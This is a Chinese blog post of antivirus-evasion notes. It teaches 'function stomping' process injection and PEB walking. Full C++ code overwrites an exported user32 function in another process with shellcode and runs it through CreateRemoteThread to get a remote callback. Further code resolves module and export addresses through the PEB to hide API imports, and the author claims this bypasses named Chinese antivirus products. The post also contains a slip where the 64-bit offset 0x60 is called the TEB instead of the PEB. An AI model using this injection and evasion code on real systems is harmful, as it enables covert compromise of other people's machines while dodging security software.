当前位置: 首页 > news >正文

免杀笔记 ---> 函数踩踏 PEB寻址

又鸽了一段时间了,最近在写这个武器,感兴趣的师傅们可以去看看(顺便给我点个Star)

whoami-juruo/InjectTools: 一款集成了DLL-Session0注入,APC注入,映射注入,线程劫持,函数踩踏自提权的工具 (github.com)

    ::累死我了,点个Star吧

那么言归正传,我们来讲今天的主题,函数踩踏 && PEB寻址 

目录

1.函数踩踏(Function Stomping)

1.本地获取到DLL的句柄

2.找到目标函数

3.打开目标进程的句柄

4.进行函数踩踏

5.创建远程远程线程运行shellcode

2.PEB寻址

1.PEB && TEB

2.PEB_LDR_DATA 

3. _LIST_ENTRY | Flink && Blink 

4.GetModuleHanlde --> GetModuleByPeb 

5. GetProcAddress ---> GetFunctionAddress


1.函数踩踏(Function Stomping)

函数踩踏,又有人叫做模块践踏,其实说人话就是把别人的某个加载了的dll中的某个函数进行覆盖,让这个函数内容变成自己的shellcode,让后让别的程序上线!!!

想弄清楚函数踩踏,必须弄清一个原理!!!

我们的EXE通过在本地进程中加载相同的 DLL 并使用`GetProcAddress`获取目标函数的地址。由于虽然 DLL 在每个进程中的基地址可能不同,但是导出的函数地址通常是相同的,因此可以在本地获取目标函数的准确地址

所以我们函数踩踏的思路就很明朗了!! 

  1. 先在本地获取到DLL的句柄
  2. 然后去DLL中找目标进程调用了的函数
  3. 然后OpenProcess获取对方的句柄
  4. 然后通过WriteProcessMemory来修改对方的函数内容

所以我们就可以写代码了

1.本地获取到DLL的句柄

通过下面的代码,我们就获取到了user32.dll的句柄

HMODULE   hTargetDll   = NULL;
LoadLibraryW(L"user32.dll");   //本exe并没有直接用到user32.dll中的东西,所以就要load进来
hTargetDll = GetModuleHandleW(L"user32.dll");
if (hTargetDll == NULL)
{cout << GetLastError() << endl;return;
}

2.找到目标函数

然后,我们就可以通过GetProcAddress来获取我们的目标函数GetFocus了!!

ptarget = GetProcAddress(hTargetDll, "GetFocus");
if (ptarget == NULL)
{cout << GetLastError() << endl;return;
}

3.打开目标进程的句柄

然后就是打开我们目标进程的句柄了(其实OpenProcess是一个非常危险的操作),这里其中需要的到进程的API,你可以通过遍历进程去获取(写一个输入,然后遍历进程字符串比较),这里我就直接用PID了 偷懒了

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 22160);if (hProcess == INVALID_HANDLE_VALUE){cout << GetLastError() << endl;return;}

4.进行函数踩踏

然后就是通过WriteProcessMemory来进行函数踩踏了

if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL)){cout << GetLastError() << endl;return;}VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL)

5.创建远程远程线程运行shellcode

这里我们创建远程线程让目标程序起线程运行我们的shellcode

但是在启之前,不知道大家有没有好奇过,为啥我不能直接指针调用这里??? 

  ::这是因为Windows的内存管理,导致你的进程不能直接执行别人进程的内存空间!!!!

	hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);if (hThread == INVALID_HANDLE_VALUE){cout << GetLastError() << endl;return;}

解决完上面的问题之后,我们就直接调用这个函数,然后就直接能看见上线了!!! 

#include<iostream>
#include<windows.h>
using namespace std;/* length: 891 bytes */
unsigned char buf[] = "";void FunctionStomping()
{HANDLE    hThread		= INVALID_HANDLE_VALUE;HANDLE    hProcess		= INVALID_HANDLE_VALUE;HMODULE   hTargetDll	= NULL;PVOID     ptarget		= NULL;LoadLibraryW(L"user32.dll");   //本exe并没有直接用到user32.dll中的东西,所以就要load进来hTargetDll = GetModuleHandleW(L"user32.dll");if (hTargetDll == NULL){cout << GetLastError() << endl;return;}ptarget = GetProcAddress(hTargetDll, "GetFocus");if (ptarget == NULL){cout << GetLastError() << endl;return;}hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 31124);if (hProcess == INVALID_HANDLE_VALUE){cout << GetLastError() << endl;return;}if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL)){cout << GetLastError() << endl;return;}VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL);hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);if (hThread == INVALID_HANDLE_VALUE){cout << GetLastError() << endl;return;}}int main()
{FunctionStomping();return 0;
}

2.PEB寻址

我们之前都是用的GetModuleHanlde + GetProcAddress ,通过这样的动态调用,我们能直接过火绒,管家,df(加密)! 但是这样其实还是有痕迹的,最终版就是通过PEB寻址!!

1.PEB && TEB

PEB(Process Environment Block) 它存储了进程级别的数据,比如进程的环境变量、命令行参数、进程的堆内存地址等信息。

TEB (Thread Environment Block)TEB存储了线程级别的数据,例如线程的堆栈地址、TLS(Thread Local Storage,线程本地存储)等信息。

其中,在32位下,在TEB的0x30偏移是PEB ,在64位下 TEB 的 0x60是TEB 

2.PEB_LDR_DATA 

其中,在32位下,在PEB 的0x00c偏移是PEB_LDR_DATA这个结构体

我们跟进去,就能看见这样的内容,其中重要的,就是框框中的三个双向链表!!

3. _LIST_ENTRY | Flink && Blink 

我们跟进去,就能发现只有两个成员 Flink && Blink 

Blink 指向上一个上一个节点,Flink指向下一个节点。

其中可以用一张图片来总结,其中在 _LDR_DATA_TABLE_ENTRY

4.GetModuleHanlde --> GetModuleByPeb 

了解了上面的东西之后,我们就可以来写代码了,前面获取_LDR_DATA的代码我们就不多说了,我们直接来看看核心代码!

首先 AddressFirstNode 指的是_LDR_DATA中的InMemoryOrderModuleList的Fliink结构,AddressFristPLIST指向的是InMemoryOrderModuleList结构,那么每次我们进入循环的时候,我们都拿到下一个节点_LDR_DATA_TABLE_ENTRY的INMEMORYORDERLINKS这个结构,那么,我们通过减一,就能获取到 _LDR_DATA_TABLE_ENTRY的结构首地址,然后再进行强制转换为_LDR_DATA_TABLE_ENTRY指针,这样,我们就能拿到这个结构体里面的FullDLLName了!并且通过将这个与我们的DLL名字相比较,我们就能获取到了目标DLL的 _LDR_DATA_TABLE_ENRTY结构,然后我们直接返回这个结构的DLLBase地址就完成了GetModuleHanlde的操作了 !!!

  ::就是这样的,虽然有点难理解

5. GetProcAddress ---> GetFunctionAddress

在上面有了DLL的基地址之后,我们就能通过导出表找到我们对应的函数了

其余获取导出表的结构就不多讲了,重点其实就是在这个,通过遍历导出表,我们能获取到我们的函数地址对应的RVA,并通过计算,我们就能得到我们函数的地址了!!!

这样,我们就能从导入表中将GetModuleHanlde 和GetProcAddress这两个API成功抹去了!! 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 获取UTC时间计算时间
  • POE服务机器人-快速开始
  • <Rust>使用rust实现crc16_modbus校验码生成?
  • 使用Cython调用CUDA Kernel函数
  • 【Rust光年纪】探索Rust语言中的WebSocket库和框架:优劣一览
  • 探索Python为何成爬虫开发首选
  • C++的STL简介(三)
  • css实现文字根据条件渐变
  • 黑神话:悟空
  • 如何构建AI产品:OpenAI与前Shopify产品负责人Miqdad Jaffer的经验分享
  • TDEngine(taos) 涛思数据库-java写入数据
  • [Git][分支管理][上]详细讲解
  • day12 多线程
  • 力扣SQL50 按日期分组销售产品 group_concact
  • Javascript常见设计模式
  • Angular 4.x 动态创建组件
  • CentOS7 安装JDK
  • electron原来这么简单----打包你的react、VUE桌面应用程序
  • Idea+maven+scala构建包并在spark on yarn 运行
  • Redis字符串类型内部编码剖析
  • SegmentFault 技术周刊 Vol.27 - Git 学习宝典:程序员走江湖必备
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • Three.js 再探 - 写一个跳一跳极简版游戏
  • vue自定义指令实现v-tap插件
  • 第三十一到第三十三天:我是精明的小卖家(一)
  • 对象引论
  • 构建工具 - 收藏集 - 掘金
  • 如何用vue打造一个移动端音乐播放器
  • 深入浅出webpack学习(1)--核心概念
  • 它承受着该等级不该有的简单, leetcode 564 寻找最近的回文数
  • 突破自己的技术思维
  • 线性表及其算法(java实现)
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • #### go map 底层结构 ####
  • #nginx配置案例
  • ()、[]、{}、(())、[[]]等各种括号的使用
  • (Matalb时序预测)WOA-BP鲸鱼算法优化BP神经网络的多维时序回归预测
  • (STM32笔记)九、RCC时钟树与时钟 第二部分
  • (附源码)基于ssm的模具配件账单管理系统 毕业设计 081848
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (七)微服务分布式云架构spring cloud - common-service 项目构建过程
  • (亲测成功)在centos7.5上安装kvm,通过VNC远程连接并创建多台ubuntu虚拟机(ubuntu server版本)...
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • (一)基于IDEA的JAVA基础1
  • (一)基于IDEA的JAVA基础10
  • .Net CF下精确的计时器
  • .NET 分布式技术比较
  • .NET 实现 NTFS 文件系统的硬链接 mklink /J(Junction)
  • .Net 转战 Android 4.4 日常笔记(4)--按钮事件和国际化
  • .NetCore+vue3上传图片 Multipart body length limit 16384 exceeded.
  • .NET程序员迈向卓越的必由之路
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • @antv/x6 利用interacting方法来设置禁止结点移动的方法实现。
  • @CacheInvalidate(name = “xxx“, key = “#results.![a+b]“,multi = true)是什么意思